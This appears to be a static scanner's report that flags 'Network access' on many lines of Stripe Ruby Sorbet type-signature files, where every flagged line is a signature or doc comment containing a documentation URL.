packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_person_update_params.rbi
- Network accessline 45
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 46
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 47
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 65
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 66
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 67
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 88
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 89
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 90
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 137
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 138
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 139
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 201
class Documents < ::Stripe::RequestParams class CompanyAuthorization < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requi - Network accessline 202
class CompanyAuthorization < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Arra - Network accessline 203
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 210
end class Passport < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 211
class Passport < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[String])) - Network accessline 212
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 219
end class Visa < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 220
class Visa < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[String])) } - Network accessline 221
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 259
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 260
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 261
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 279
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 280
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 281
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 410
class Verification < ::Stripe::RequestParams class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 411
class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (small - Network accessline 412
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 415
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. Th - Network accessline 416
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), - Network accessline 417
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 424
end class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (small - Network accessline 425
class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8, - Network accessline 426
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 429
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. Th - Network accessline 430
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), - Network accessline 431
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 535
sig { params(_gender: T.nilable(String)).returns(T.nilable(String)) } def gender=(_gender); end # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number i - Network accessline 536
def gender=(_gender); end # The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII t - Network accessline 537
# The person's ID number, as appropriate for their country. For example, a social security number in the U.S., social insurance number in Canada, etc. Instead of the number itself, you can also provide a [PII token provided by Stripe.js](ht - Network accessline 540
sig { params(_id_number: T.nilable(String)).returns(T.nilable(String)) } def id_number=(_id_number); end # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailan - Network accessline 541
def id_number=(_id_number); end # The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of t - Network accessline 542
# The person's secondary ID number, as appropriate for their country, will be used for enhanced verification checks. In Thailand, this would be the laser code found on the back of an ID card. Instead of the number itself, you can also provi - Network accessline 565
sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) } def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for - Network accessline 566
def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 567
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 572
} def metadata=(_metadata); end # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. - Network accessline 573
def metadata=(_metadata); end # The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. sig { returns(T.nilable(String)) } - Network accessline 574
# The country where the person is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)), or "XX" if unavailable. - Network accessline 577
sig { params(_nationality: T.nilable(String)).returns(T.nilable(String)) } def nationality=(_nationality); end # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person. - Network accessline 578
def nationality=(_nationality); end # A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person. sig { returns(T.nilable(String)) } - Network accessline 579
# A [person token](https://docs.stripe.com/connect/account-tokens), used to securely provide details to the person.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/account_update_params.rbi
- Network accessline 61
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co - Network accessline 62
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 63
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 80
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co - Network accessline 81
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 82
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 94
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 95
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 96
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 114
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 115
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 116
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1327
sig { params(_number: String).returns(String) } def number=(_number); end # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information a - Network accessline 1328
def number=(_number); end # Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { re - Network accessline 1329
# Set of [key-value pairs](https://stripe.com/docs/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 1386
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1387
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1388
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1406
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1407
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 1408
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1429
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1430
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1431
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1478
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1479
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1480
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1605
class Verification < ::Stripe::RequestParams class Document < ::Stripe::RequestParams # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verificat - Network accessline 1606
class Document < ::Stripe::RequestParams # The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (sm - Network accessline 1607
# The back of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF - Network accessline 1610
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_ve - Network accessline 1611
def back=(_back); end # The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px - Network accessline 1612
# The front of a document returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `additional_verification`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PD - Network accessline 1705
} def ownership_declaration=(_ownership_declaration); end # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemp - Network accessline 1706
def ownership_declaration=(_ownership_declaration); end # This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-fro - Network accessline 1707
# This value is used to determine if a business is exempt from providing ultimate beneficial owners. See [this support article](https://support.stripe.com/questions/exemption-from-providing-ownership-details) and [changelog](https://docs.st - Network accessline 1796
class Documents < ::Stripe::RequestParams class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `a - Network accessline 1797
class BankAccountOwnershipVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nil - Network accessline 1798
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1805
end class CompanyLicense < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1806
class CompanyLicense < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[Stri - Network accessline 1807
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1814
end class CompanyMemorandumOfAssociation < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1815
class CompanyMemorandumOfAssociation < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilab - Network accessline 1816
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1823
end class CompanyMinisterialDecree < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1824
class CompanyMinisterialDecree < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T:: - Network accessline 1825
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1832
end class CompanyRegistrationVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1833
class CompanyRegistrationVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nila - Network accessline 1834
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1841
end class CompanyTaxIdVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1842
class CompanyTaxIdVerification < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T:: - Network accessline 1843
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1850
end class ProofOfAddress < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1851
class ProofOfAddress < ::Stripe::RequestParams # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[Stri - Network accessline 1852
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1868
def initialize(person: nil); end end # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1869
end # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[String])) } - Network accessline 1870
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1895
def initialize(person: nil); end end # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1896
end # One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. sig { returns(T.nilable(T::Array[String])) } - Network accessline 1897
# One or more document ids returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `account_requirement`. - Network accessline 1914
def initialize(files: nil, signer: nil); end end # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a doc - Network accessline 1915
end # One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active - Network accessline 1916
# One or more documents that support the [Bank account ownership verification](https://support.stripe.com/questions/bank-account-ownership-verification) requirement. Must be a document associated with the account’s primary active bank accou - Network accessline 1993
end class Groups < ::Stripe::RequestParams # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/ - Network accessline 1994
class Groups < ::Stripe::RequestParams # The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/ - Network accessline 1995
# The group the account is in to determine their payments pricing, and null if the account is on customized pricing. [See the Platform pricing tool documentation](https://docs.stripe.com/connect/platform-pricing-tools) for details. - Network accessline 2008
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2009
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2010
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2028
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2029
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 2030
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2051
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2052
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2053
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2100
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2101
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2102
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2168
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2169
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2170
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2188
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2189
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 2190
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2246
class Verification < ::Stripe::RequestParams class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docume - Network accessline 2247
class AdditionalDocument < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (sma - Network accessline 2248
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 2251
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document` - Network accessline 2252
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px - Network accessline 2253
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 2260
end class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (s - Network accessline 2261
class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than - Network accessline 2262
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, an - Network accessline 2265
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document` - Network accessline 2266
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px - Network accessline 2267
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. The uploaded file needs to be a color image (smaller than 8,000px by 8,000px), in JPG, PNG, or PDF format, a - Network accessline 2384
sig { params(_maiden_name: T.nilable(String)).returns(T.nilable(String)) } def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful - Network accessline 2385
def maiden_name=(_maiden_name); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 2386
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 2467
end class Branding < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. - Network accessline 2468
class Branding < ::Stripe::RequestParams # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. sig { returns(T.nilable(String)) } - Network accessline 2469
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) An icon for the account. Must be square and at least 128px x 128px. - Network accessline 2472
sig { params(_icon: T.nilable(String)).returns(T.nilable(String)) } def icon=(_icon); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of - Network accessline 2473
def icon=(_icon); end # (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at l - Network accessline 2474
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A logo for the account that will be used in Checkout instead of the icon and without the account's name next to it if provided. Must be at least 128px x 128px. - Network accessline 2598
end class Payments < ::Stripe::RequestParams # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as th - Network accessline 2599
class Payments < ::Stripe::RequestParams # The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statemen - Network accessline 2600
# The default text that appears on statements for non-card charges outside of Japan. For card charges, if you don't set a `statement_descriptor_prefix`, this text is also used as the statement descriptor prefix. In that case, if concatenati - Network accessline 2603
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese sta - Network accessline 2604
def statement_descriptor=(_statement_descriptor); end # The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/s - Network accessline 2605
# The Kana variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 2608
sig { params(_statement_descriptor_kana: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor_kana=(_statement_descriptor_kana); end # The Kanji variation of `statement_descriptor` used for charges in Jap - Network accessline 2609
def statement_descriptor_kana=(_statement_descriptor_kana); end # The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-starte - Network accessline 2610
# The Kanji variation of `statement_descriptor` used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 2826
def initialize(date: nil, ip: nil, service_agreement: nil, user_agent: nil); end end # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account. - Network accessline 2827
end # An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account. sig { returns(T.nilable(String)) } - Network accessline 2828
# An [account token](https://api.stripe.com#create_account_token), used to securely provide details to the account. - Network accessline 2864
